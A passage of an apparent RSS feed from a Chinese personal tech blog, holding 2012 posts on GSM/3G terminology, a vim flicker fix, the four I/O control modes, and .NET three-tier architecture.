&lt;/pre&gt;
&lt;p&gt;　　回调函数的一个很实用的例子就是泛型算法中的max算法，具体可以参见本文末尾的第一篇参考文档，
如果你在自行写代码中发生了
error C2679: 二进制“&amp;laquo;”: 没有找到接受“std::string”类型的右操作数的运算符(或没有可接受的转换)错误
　　说明你没有把string头文件导入，导入即可
　　个人能力有限，错误之处请留言指正，不胜感激。
参考：
&lt;a href=&#34;http://learn.akae.cn/media/ch24s05.html&#34;&gt;http://learn.akae.cn/media/ch24s05.html&lt;/a&gt;
&lt;a href=&#34;http://baike.baidu.com/view/414773.htm&#34;&gt;http://baike.baidu.com/view/414773.htm&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>GSM,GPRS,WCDMA,HSDPA,3G 等名词解释</title>
      <link>http://blog.leaver.me/2012/05/08/gsmgprswcdmahsdpa3g-%E7%AD%89%E5%90%8D%E8%AF%8D%E8%A7%A3%E9%87%8A/</link>
      <pubDate>Tue, 08 May 2012 22:32:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/08/gsmgprswcdmahsdpa3g-%E7%AD%89%E5%90%8D%E8%AF%8D%E8%A7%A3%E9%87%8A/</guid>
      <description>&lt;p&gt;　　今天想起这个事，发现自己其实一直对这个也分不清楚。查了下资料。总算是搞清楚了。整理了一下资料。删除了没太大意义的文字。结构也重新设计了下，总体看起来比较明了了。&lt;p&gt;　　首先解释最热门的3G概念&lt;p&gt;　　&lt;font style=&#34;background-color: rgb(0, 255, 0);&#34;&gt;&lt;strong&gt;&lt;em&gt;&lt;font style=&#34;&#34;&gt;3G&lt;/font&gt;&lt;/em&gt;&lt;strong&gt;是英文The Third Generation mobile communication Systems的缩写&lt;/font&gt;，指第三代移动通信技术。相对第一代模拟制式手机(1G)和第二代GSM、CDMA等数字手机 (2G)，第三代手机（3G）一般地讲，是指将无线通信与国际互联网等多媒体通信结合的新一代移动通信系统。&lt;p&gt;　　实际上，2G时代并没有2G这个名称，2G名称的出现是在行动通讯系统出现3G之后，才将过去使用GSM网路的行动通讯时代取名为2G，然而，2G演变到3G之间的过渡时期则被称为2.5G时代。同理，1G也是这么来的。就跟咱们做题是一样的。看到答案以后来推前面的过程。&lt;p&gt;　　&lt;font style=&#34;background-color: rgb(0, 255, 0);&#34;&gt;在2G时代，GSM、CDMA领导市场，他们是2G通信时代的两个实现。&lt;/font&gt;&lt;p&gt;　　&lt;font style=&#34;background-color: rgb(0, 255, 0);&#34;&gt;GSM（Global System for Mobile communications）&lt;/font&gt;系统，中文名称为「全球数位手机系统」，它是1990年在欧洲发展出来，所以又称泛欧式行动电话系统。GSM系统是2G时代在全球最被广泛应用的行动通讯技术，至今全球GSM用户数远远超过CDMA系统用户数。&lt;p&gt;　　&lt;font style=&#34;background-color: rgb(0, 255, 0);&#34;&gt;CDMA（Code Division Multiple Access）中文全名又称分码多工撷取&lt;/font&gt;，是相对于GSM的另一种无线通讯技术，CDMA系统只在美、韩、中、澳洲等国被使用，而全球多达200多个国家地区采用GSM系统&lt;p&gt;_&lt;/strong&gt;&lt;font style=&#34;background-color: rgb(0, 255, 0);&#34; size=&#34;4&#34;&gt;两者的差异：&lt;/font&gt;&lt;/strong&gt;&lt;em&gt;&lt;p&gt;　　虽然GSM与CDMA二者都是先将语音讯号数位化，受话者接收时再将数位讯号转变回语音，但由于CDMA系统使用的800MHz频谱，讯号在空中的遗失率较GSM采用的900或1800MHz频谱来得少，所以相较于GSM系统有通话不稳定的问题，CDMA可以提供更清晰的声音品质。&lt;p&gt;　　在网路容量方面，CDMA的容量是GSM的3倍；CDMA的网路覆盖范围最远可达200公里，而GSM的网路覆盖范围则不会超过35公里。此外，CDMA的传输速率最高可达64Kbps，远高于GSM的9.6Kbps。&lt;p&gt;　　至于内容应用方面，GSM与CDMA都可以提供包括语音、简讯、数据、来电显示、三方通话等服务。但是由于全球采用CDMA系统的国家较少，所以CDMA系统可以漫游的国家地区也就较GSM来得少。CDMA系统只在美、韩、中、澳洲等国被使用，而全球多达200多个国家地区采用GSM系统。&lt;p&gt;&lt;/em&gt;&lt;strong&gt;&lt;font style=&#34;background-color: rgb(0, 255, 0);&#34; size=&#34;4&#34;&gt;GSM向3G的发展路线&lt;/font&gt;&lt;/strong&gt;&lt;em&gt;&lt;p&gt;　&lt;em&gt;&lt;font style=&#34;background-color: rgb(0, 255, 0);&#34;&gt;　◆GSM→GPRS→EDGE→WCDMA→HSDPA&lt;/font&gt;&lt;/em&gt;&lt;p&gt;　　泛欧式的WCDMA系统演变过程相当复杂。行动通讯技术从GSM迈入GPRS时，可说是2G时迈向3G时代过程的第一步，这个时期被定位为2.5G时代，在2.5G时代，手机用户虽然已经可以享受较高速的无线上网，不过，内容应用仍然只限于收发e-mail、片段视讯下载等服务。（所谓GPRS（General Packet Radio Ser-vice），全名为整合封包无线电服务，它可说是新一代的GSM技术标准，相对于GSM是采取拨接方式传送资料，GPRS则是以封包无线方式传输资料，它可以在全球的GSM系统中运行。GPRS较GSM能更有效地利用无线网路，可以特别使用于突发性、频繁的小流量资料传输，传输速率高达115Kbps。从GSM到GPRS，速度提升10倍）&lt;p&gt;　　为了提供更多、更高品质的服务给用户，行动通讯业者与设备提供商接着又开发出EDGE技术，&lt;font style=&#34;background-color: rgb(0, 255, 0);&#34;&gt;EDGE是英文Enhanced Data Rate for GSM Evolution 的缩写&lt;/font&gt;，即增强型数据速率GSM演进技术。EDGE系统大大增强了GSM、GPRS等无线技术的频宽，虽然3G时代已经来到，但是，目前EDGE系统仍在全球被广泛的应用。&lt;p&gt;　　使用EDGE技术，传输速率最高可达384Kbps，此外EDGE并将现有的GSM/GPRS等网路整合，在取得3G服务之前，EDGE可说提供了价格低廉、传输速度又快的服务，所以它也被认定为WCDMA系统的补充技术。&lt;p&gt;　　&lt;font style=&#34;background-color: rgb(0, 255, 0);&#34;&gt;WCDMA（英文Wideband Code Division Multiple Access）一种宽频无线技术&lt;/font&gt;，又称宽频分码多工多重撷取，它可以让第三代移动通讯最佳化，传输速率最高可达2Mbps.&lt;p&gt;　　至于&lt;font style=&#34;background-color: rgb(0, 255, 0);&#34;&gt;HSDPA（High Speed ​​Downlink Packet Access）&lt;/font&gt;中文名称为高速下行链路封包接取技术，它是WCDMA系统的进阶技术。HSDPA被认为是迈向3G蜂巢式网路的重要起步，其下载速度可以达到14Mbps，而系统资料容量是WCDMA网路的3倍，这项技术被宣称为将在未来对行动电话记忆体市场格局带来重大变革。&lt;p&gt;&lt;/em&gt;&lt;strong&gt;&lt;font style=&#34;background-color: rgb(0, 255, 0);&#34; size=&#34;4&#34;&gt;CDMA向3G的发展路线&lt;/font&gt;&lt;/strong&gt;&lt;em&gt;&lt;p&gt;&lt;font style=&#34;background-color: rgb(255, 255, 255);&#34;&gt;　　&lt;/font&gt;&lt;font style=&#34;background-color: rgb(0, 255, 0);&#34;&gt;&lt;/em&gt;◆CDMA→CDMA2000→CDMA2000 1x→CDMA2000 1x EV-DO_&lt;/font&gt;&lt;p&gt;　　至于泛美式的CDMA2000（Code Division Multiple Access 2000 是一个3G移动通讯标准，CDMA2000与另一个3G标准WCDMA不兼容。），则是CDMA的升级技术。而CDMA2000的第一阶段技术称为CDMA 2000 1X，传输数率达144Kbps，较CDMA高出两倍；至于第二阶段的CDMA2000 1x EV-DO，最高传输数率可达1.4Mbps。还在向后发展已经到了CDMA2000 3.x，不过是在不断优化了。了解即可&lt;p&gt;参考：&lt;p&gt;       &lt;a href=&#34;https://lex0912.wordpress.com/2010/05/21/gsmgprswcdmahsdpa&#34;&gt;https://lex0912.wordpress.com/2010/05/21/gsmgprswcdmahsdpa&lt;/a&gt;&lt;p&gt;&lt;a href=&#34;https://zh.wikipedia.org/wiki/CDMA2000&#34;&gt;       https://zh.wikipedia.org/wiki/CDMA2000&lt;/a&gt;&lt;p&gt;&lt;a href=&#34;https://zh.wikipedia.org/wiki/3G&#34;&gt;       https://zh.wikipedia.org/wiki/3G&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>windows下vim闪烁问题</title>
      <link>http://blog.leaver.me/2012/05/07/windows%E4%B8%8Bvim%E9%97%AA%E7%83%81%E9%97%AE%E9%A2%98/</link>
      <pubDate>Mon, 07 May 2012 19:21:59 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/07/windows%E4%B8%8Bvim%E9%97%AA%E7%83%81%E9%97%AE%E9%A2%98/</guid>
      <description>&lt;p&gt;　　今天打开我的vim才发现，界面隔几秒会闪烁。虽说貌似能够起到防止眼睛疲劳的效果，但我实在是hold不住啊。不行，搜索。。
首先有这个问题的人不多。首先找到了&lt;a href=&#34;http://hi.baidu.com/chrisyue/blog/item/ebc7b8de373c1048cdbf1af9.html&#34;&gt;这篇文章&lt;/a&gt;，但是作者不知道怎么想的。只说了原因，没有给出解决方法。继续搜索关键字cursorcolumn，结果找到了&lt;a href=&#34;http://yyq123.blogspot.com/2012/01/vim-cursor.html&#34;&gt;这篇文章&lt;/a&gt;，按着说明来了一下&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;set cursorline cursorcolumn&lt;/pre&gt;
&lt;p&gt;没效果。依然闪烁。
　　好吧。如果是插件的问题。于是我删掉了所有的插件包括写入的配置。依然不行。于是还是采用排除法，一行行删掉配置文件。最后定位到&lt;/p&gt;
&lt;pre lang=&#34;php&#34;&gt;set guifont=Arial_monospaced_for_SAP:h9:cANSI &lt;/pre&gt;
&lt;p&gt;　　这是设置字体的，不太明白为什么会出现这样的情况。怀疑是字体的原因，于是换个字体，依然闪烁。。好吧。就这样吧。删掉算了。&lt;/p&gt;</description>
    </item>
    <item>
      <title>四种I/O控制方式</title>
      <link>http://blog.leaver.me/2012/05/07/%E5%9B%9B%E7%A7%8Di/o%E6%8E%A7%E5%88%B6%E6%96%B9%E5%BC%8F/</link>
      <pubDate>Mon, 07 May 2012 16:50:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/07/%E5%9B%9B%E7%A7%8Di/o%E6%8E%A7%E5%88%B6%E6%96%B9%E5%BC%8F/</guid>
      <description>&lt;p&gt;　　基本上原文照搬过来吧。主要是原文排版太乱。不利于传播。
　　随着计算机技术的发展，I/O控制方式也在不断地发展。I/O控制的发展经历了以下四个阶段：&lt;/p&gt;
&lt;p&gt;　　&lt;em&gt;&lt;strong&gt;一.程序I/O控制方式&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;　　在早期的计算机系统中，由于无中断机构，处理机对I/O设备的控制，采取程序I/O方式（Programmed I/O方式）。在程序I/O方式中，由于CPU的高速性和I/O设备的低速性，致使CPU 的绝大部分时间都处于等待I/O设备完成数据I/O的循环测试中，造成对CPU的极大浪费。在该方式中，CPU之所以要不断地测试I/O设备的状态，就是因为在CPU中无中断机构，使 I/O设备无法向CPU报告它已完成了一个字符的输入操作。如下图所示：&lt;/p&gt;
&lt;p&gt;　　图1.&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21244_o.jpg&#34;&gt;![]}/images/c83bce26670bc565b0fb2eaa4984e5b7575b618a.jpg)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　程序I/O方式又称忙&amp;ndash;等待方式，即在处理机向设备控制器发出一条I/O指令启动输入设备、输出数据时，要同时把状态寄存器中的忙/闲标志busy置为1，然后便不断地循环测试busy。当busy=1时，表示输入机尚未输完一个字（符），处理机应继续对busy进行测试；直至busy=0，表明输入机已将输入数据送入控制器的数据寄存器中，于是处理机将数据寄存器中的数据取出，送入内存指定单元中，接着，再启动去读下一个数据，并置busy=1。 △ 此方式造成对CPU的极大浪费。&lt;/p&gt;
&lt;p&gt;　　&lt;em&gt;&lt;strong&gt;二.中断驱动I/O控制方式&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;　　在现代计算机系统中，对I/O设备的控制，广泛采用中断驱动（Interrupt&amp;mdash;Driven）方式。在I/O设备输入每个数据的过程中，由于无须CPU干预，因而可使CPU与I/O设备并行工作。仅当输完一个数据时，才需CPU花费极短的时间去做些中断处理。可见，这样可使CPU和I/O设备都处于忙碌状态，从而提高了整个系统的资源利用率及吞吐量。如下图所示：&lt;/p&gt;
&lt;p&gt;　　图2
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21245_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/f053eaab91b09f2666fb13152a114677eea8c2da.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　当某进程要启动某个I/O设备工作时，便由CPU向相应的设备控制器发出一条I/O命令，然后立即返回继续执行原来的任务。设备控制器便按照该命令的要求去控制I/O设备。此时，CPU与I/O设备并行操作。　 例如，从终端输入一个字符的时间约为 100ms ， 而将字符送入终端缓冲区的时间小于 0.1ms 。 若采用程序 I/O 方式， CPU 约有 99.9ms 的 时间处于忙 — 等待中。 采用中断驱动方式后， CPU 可利用这 99.9 ms 的时间去做其它事情，而仅用 0.1 ms 的时间来处理由控制器发来的中 断请求 。 可见，中断驱动方式可以成百倍地提高 CPU 的利用率。△ 中断驱动方式可以成百倍地提高CPU的利用率。&lt;/p&gt;
&lt;p&gt;　　&lt;em&gt;&lt;strong&gt;三.直接存储器访问DMA控制方式&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;　　&amp;ndash;&amp;gt;DMA控制方式的引入&lt;/p&gt;
&lt;p&gt;　　虽然中断驱动I/O比程序I/O方式更有效，但它是以字（节）为单位进行I/O的，若将这种方式用于块设备的I/O，显然将会是极其低效的。为了进一步减少CPU对I/O的干预，而引入了直接存储器访问（Direct Memory Access）方式。如下图：&lt;/p&gt;
&lt;p&gt;　　图3&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21246_o.jpg&#34;&gt;![]}/images/ee3e0c3ca8d998d2a84488f01d3ca4d6e642f217.jpg)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　此方式的特点是：
　　数据传输的基本单位是数据块；所传输的数据是从设备直接送入内存的,或者相反；整块数据的传送是在控制器的控制下完成的；&lt;/p&gt;
&lt;p&gt;　　可见，DMA方式较之中断驱动方式，又是成百倍地减少了CPU对I/O的干预，进一步提高了CPU与I/O设备的并行操作程度。&lt;/p&gt;
&lt;p&gt;　　&amp;ndash;&amp;gt;DMA控制器的组成&lt;/p&gt;
&lt;p&gt;　　DMA控制器由三部分组成，如下图：&lt;/p&gt;
&lt;p&gt;　　图4&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21249_o.jpg&#34;&gt;![]}/images/bbb47eca5cb44fe7cf36bea37349cf6b728e99b5.jpg)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　主机与DMA控制器的接口；DMA控制器与块设备的接口；I/O控制逻辑；&lt;/p&gt;
&lt;p&gt;　　为了实现控制器与主机之间成块数据的直接交换，必须在DMA控制器中设四类寄存器，如上图&lt;/p&gt;
&lt;p&gt;　　命令/状态寄存器；内存地址寄存器MAR；数据寄存器DR；数据计数器DC；&lt;/p&gt;
&lt;p&gt;　　&amp;ndash;&amp;gt;DMA工作过程&lt;/p&gt;
&lt;p&gt;　　DMA的工作过程如下图：&lt;/p&gt;
&lt;p&gt;　　图5
　　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21247_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/14889b82ecfe048a30247ccbbf82d54d3484bc8e.jpg&#34;&gt;&lt;/a&gt;
　　&lt;em&gt;&lt;strong&gt;四.I/O通道控制方式&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;　　&amp;ndash;&amp;gt;I/O通道控制方式的引入&lt;/p&gt;
&lt;p&gt;　　I/O通道方式是DMA方式的发展，它可进一步减少CPU的干预，即把对一个数据块的读（或写）为单位的干预，减少为对一组数据块的读（或写）及有关的控制和管理为单位的干预。同时，又可实现CPU、通道和I/O设备三者的并行工作，从而更有效的提高了整个系统的资源利用率。&lt;/p&gt;
&lt;p&gt;　　&amp;ndash;&amp;gt;通道程序&lt;/p&gt;
&lt;p&gt;　　通道是通过执行通道程序，并与设备控制器来共同实现对I/O设备的控制的。通道程序是由一系列的通道指令（或称通道命令）所构成。通道指令与一般的机器指令不同，在它的每条指令中包含下列诸信息：&lt;/p&gt;
&lt;p&gt;　　操作码&amp;mdash;-它规定了指令所执行的操作；内存地址;计数&amp;mdash;-表明本条指令所要读（或写）数据的字节数；通道程序结束位P;记录结束标志位R&lt;/p&gt;
&lt;p&gt;　 &lt;strong&gt;有几种I/O控制方式？各有何特点？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　答：I/O控制方式有四种：程序直接控制方式、中断控制方式、DMA方式和通道控制方式。&lt;/p&gt;
&lt;p&gt;　　（1） 程序直接控制方式：优点是控制简单，不需要多少硬件支持。但CPU和外设只能串行工作，且CPU的大部分时间处于循环测试状态，使CPU的利用率大大降低，因此该方式只适用于那些CPU执行速度较慢且外设较少的系统。&lt;/p&gt;
&lt;p&gt;　　（2） 中断处理方式：优点是能实现CPU与外设间的并行操作，CPU的利用率较程序直接控制方式大大提高。由于在一次数据传送过程中CPU通常以字节为单位进行干预，中断次数较多而耗去大量的CPU时间。&lt;/p&gt;
&lt;p&gt;　　（3） DMA方式：与中断方式相比，DMA方式是在一批数据传送完成后中断CPU，从而大大减少CPU进行中断处理的次数，且DMA方式下的数据传送实在DMA控制下完成的。但DMA方式仍有一定的局限，如对外设的管理和某些操作仍由CPU控制，多个DMA控制器的使用也不经济。&lt;/p&gt;
&lt;p&gt;　　（4） 通道控制方式：CPU只需发出I/O指令，通道完成相应的I/O操作，并在操作结束时向CPU发出中断信号；同时一个通道还能控制多台外设。但是通道价格较高，从经济角度出发不宜过多使用。&lt;/p&gt;
&lt;p&gt;参考：
&lt;a href=&#34;http://oa.gdut.edu.cn/os/multimedia/oscai/chapter5/pages/ch52.htm&#34;&gt;http://oa.gdut.edu.cn/os/multimedia/oscai/chapter5/pages/ch52.htm&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>.Net三层架构</title>
      <link>http://blog.leaver.me/2012/05/05/.net%E4%B8%89%E5%B1%82%E6%9E%B6%E6%9E%84/</link>
      <pubDate>Sat, 05 May 2012 15:09:37 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/05/.net%E4%B8%89%E5%B1%82%E6%9E%B6%E6%9E%84/</guid>
      <description>&lt;p&gt;&lt;strong&gt;&lt;span style=&#34;color: #0000ff;&#34;&gt;本文来源：&lt;a href=&#34;http://www.cnblogs.com/gaoweipeng/archive/2009/01/18/1377855.html&#34;&gt;http://www.cnblogs.com/gaoweipeng/archive/2009/01/18/1377855.html&lt;/a&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;老规矩。因为是非常不错的文章。所有有必要收藏下来备用。推荐。&lt;/p&gt;
&lt;p&gt;**&lt;span style=&#34;color: #0000ff;&#34;&gt;三层体系结构的概念&lt;/p&gt;
&lt;p&gt;&lt;/span&gt;**&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;用户界面表示层(USL)&lt;/li&gt;
&lt;li&gt;业务逻辑层(BLL)&lt;/li&gt;
&lt;li&gt;数据访问层(DAL)
&lt;strong&gt;BLL将USL与DAL隔开了，并且加入了业务规则&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style=&#34;font-size: medium;&#34;&gt;各层的作用&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;1：数据数据访问层:主要是对原始数据（数据库或者文本文件等存放数据的形式）的操作层，而不是指原始数据，也就是说，是对数据的操作，而不是数据库,具体为业务逻辑层或表示层提供数据服务．
&lt;p&gt;2：业务逻辑层:主要是针对具体的问题的操作，也可以理解成对数据层的操作,对数据业务逻辑处理，如果说数据层是积木，那逻辑层就是对这些积木的搭建。&lt;/p&gt;
&lt;p&gt;3：表示层:主要表示WEB方式,也可以表示成WINFORM方式,WEB方式也可以表现成:aspx, 如果逻辑层相当强大和完善,无论表现层如何定义和更改,逻辑层都能完善地提供服务。&lt;/div&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;具体的区分方法&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;1：数据数据访问层:主要看你的数据层里面有没有包含逻辑处理，实际上他的各个函数主要完成各个对数据文件的操作。而不必管其他操作。&lt;/p&gt;
&lt;p&gt;2：业务逻辑层:主要负责对数据层的操作。也就是说把一些数据层的操作进行组合。&lt;/p&gt;
&lt;p&gt;3：表示层:主要对用户的请求接受，以及数据的返回，为客户端提供应用程序的访问。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;三层结构解释&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;所谓三层体系结构，是在&lt;span style=&#34;text-decoration: underline;&#34;&gt;客户端与数据库之间&lt;/span&gt;加入了一个&lt;span style=&#34;text-decoration: underline;&#34;&gt;中间层&lt;/span&gt;，也叫&lt;span style=&#34;text-decoration: underline;&#34;&gt;组件层&lt;/span&gt;。这里所说的三层体系，不是指物理上的三层，不是简单地放置三台机器就是三层体系结构，也不仅仅有B/S应用才是三层体系结构，三层是指逻辑上的三层，即使这三个层放置到一台机器上。 三层体系的应用程序将业务规则、数据访问、合法性校验等工作放到了中间层进行处理。通常情况下，客户端不直接与数据库进行交互，而是通过COM/DCOM通讯与中间层建立连接，再经由中间层与数据库进行交换.&lt;/p&gt;
&lt;p&gt;开发人员可以将应用的商业逻辑放在中间层应用服务器上，把应用的业务逻辑与用户界面分开。在保证客户端功能的前提下，为用户提供一个简洁的界面。这意味着如果需要修改应用程序代码，只需要对中间层应用服务器进行修改，而不用修改成千上万的客户端应用程序。从而使开发人员可以专注于应用系统核心业务逻辑的分析、设计和开发，简化了应用系统的开发、更新和升级工作。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;那么为什么要应用“中间业务层”呢？举些例子:&lt;/strong&gt;
我们假设有一段登录代码，则可以这样处理Web程序，外观层负责接收前台页面的数据，然后传给中间层，中间层对数据进行处理，比如格式化，防SQL注入等等一些，这样的数据再传给数据访问层然后与数据库进行操作，比如与数据库的用户名和密码匹配等等一些代码。**&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;**&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;div&gt;“中间业务层”的用途有很多，例如：验证用户输入数据、缓存从数据库中读取的数据等等……但是，&lt;span style=&#34;text-decoration: underline;&#34;&gt;“中间业务层”的实际目的是将“数据访问层”的最基础的存储逻辑组合起来，形成一种业务规则。&lt;/span&gt;例如：“在一个购物网站中有这样的一个规则：在该网站第一次购物的用户，系统为其自动注册”。这样的业务逻辑放在中间层最合适：&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;在“数据访问层”中，最好不要出现任何“业务逻辑”！也就是说，&lt;span style=&#34;text-decoration: underline;&#34;&gt;要保证“数据访问层”的中的函数功能的原子性！即最小性和不可再分。“数据访问层”只管负责存储或读取数据就可以了。&lt;/span&gt;&lt;/p&gt;
&lt;div&gt;**
**&lt;/div&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;ASP.NET中的三层结构说明&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;完善的三层结构的要求是:**修改表现层而不用修改逻辑层,修改逻辑层而不用修改数据层。**否则你的应用是不是多层结构,或者说是层结构的划分和组织上是不是有问题就很难说.不同的应用有不同的理解，这只是一个概念的问题．&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;/div&gt;
*   **理解ASP.NET中的三层结构**——为什么要分三层？
&lt;pre&gt;&lt;code&gt;我们用三层结构主要是使项目结构更清楚，分工更明确，有利于后期的维护和升级。它未必会提升性能，因为当子程序模块未执行结束时，主程序模块只能处于等待状态。这说明将应用程序划分层次，会带来其执行速度上的一些损失。但从团队开发效率角度上来讲却可以感受到大不相同的效果。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;需要说明一下，三层结构不是.NET的专利，也不是专门用在数据库上的技术。它是一种更加普适的架构设计理念。&lt;/p&gt;
&lt;div&gt;&lt;/div&gt;
**&lt;span style=&#34;font-size: medium;&#34;&gt;
&lt;/span&gt;**此种架构**要在数据库设计上注意表之间的关系，**尽力满足主与子的关系。在功能上对用户要有一定的限制，不要表现在对于子表的删除操作一定要慎重，以免造成主表与子表的数据在逻辑上出现的主表的外键在子表中没有相对应的值。
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;对于表的&lt;strong&gt;综合查询&lt;/strong&gt;方法是：
先对主表查询，调用主表所对应的DL。再根据主表的记录分别对每一个子表进行查询。将自表的查询结果添加的主表后，形成一个大的查询集合。
对于表的操作（增删改）：
此时只对主表进行操作，调用主表对应的DL中的操作方法。
RL层是逻辑判断层，主要是对页面上传入的数据进行逻辑判断。RL层之上就是UI&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style=&#34;text-decoration: underline;&#34;&gt;&lt;span style=&#34;font-size: medium;&#34;&gt;如何建立一个三层体系结构解决方案&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;新建一个空白解决方案。然后：
“添加”－“新建项目”－“其他项目”－“企业级模版项目”－“C#生成块”－“数据访问”（数据层，下简称D层）
“添加”－“新建项目”－“其他项目”－“企业级模版项目”－“C#生成块”－“业务规则”（业务层，下简称C层）
“添加”－“新建项目”－“其他项目”－“企业级模版项目”－“C#生成块”－“Web用户界面”（界面层，下简称U层）
右键点“解决方案”－“项目&lt;strong&gt;依赖项”&lt;/strong&gt;，设置U依赖于D、C，C依赖于D。
对U添加引用D、C，对C添加引用D。
到此为止，一个三层的架子建立起来了。我上面说的很具体很“傻瓜”，知道的人觉得我废话，其实我这段时间很强烈的感觉到非常多的人其实对这个简单的过程完全不了解。虽然不反对建2个“空项目”和1个“Asp    net    Web应用程序项目”也可以作为3层的框架，而且相当多的人认为其实这些“企业级模板项目”其实就是个空项目，这是一个误区。没错，企业级模板项目你从解决方案资源管理器里看它是个什么也没有的，但是你可以用记事本打开项目文件，看见不同了吧？？有些东西在背后，你是看不见的，不过系统已经做好了。也就是说，如果你在C层里的某个类里“using    System    Data    SqlClineit”，或者使用一个SqlConnection对象，编译时候不会出错，但是会在“任务列表”里生成一些“策略警告”，警告你在C层里不要放应该放在D层的东西（虽然就程序来说没错，但是可读性可维护性就打了折扣）而这种功能，空项目是无法給你的。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;span style=&#34;text-decoration: underline;&#34;&gt;在新TraceLWord3中，应用了“企业级模板项目”。把原来的LWordTask.cs，并放置到一个单一的项目里，项目名称为：AccessTask。解决方案中又新建了一个名称为：InterService的项目，该项目中包含一个LWordService.cs程序文件，它便是“中间业务层”程序。为了不重复命名，TraceLWord3的网站被放置到了WebUI项目中。&lt;/span&gt;更完整的代码，可以在CodePackage/TraceLWord3目录中找到——&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;**&lt;span style=&#34;font-size: medium;&#34;&gt;面象对象与实际的结合&lt;/p&gt;
&lt;p&gt;&lt;/span&gt;**&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;div&gt;我们知道建桥需要砖块，应该是先准备好砖再来建桥，不过为了讲解上的顺序性和连贯性，简单性。我们先建桥，建的过程中需要砖块再现做，这样就不会多出来“桥不需要的东西”。注意在实际中，还是应该先准备砖块。&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
U层其实就是桥，C层是砖块，D层是原料（石头、沙子）。这也解释前面为什么U层要引用、依赖D层（而不是U对C，C对D的层次），因为桥除了需要砖头，其实也需要石头沙子。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;“三层结构”的缺点&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;有些网友在读完这篇文章前作之后，对我提出了一些质疑，这提醒我文章至此还没有提及“三层结构”的缺点。“三层结构”这个词眼似乎一直都很热门，究其原因，或许是这种开发模式应用的比较普遍。但是“三层结构”却并不是百试百灵的“万灵药”，它也存在着缺点。下面就来说说它的缺点……&lt;/p&gt;
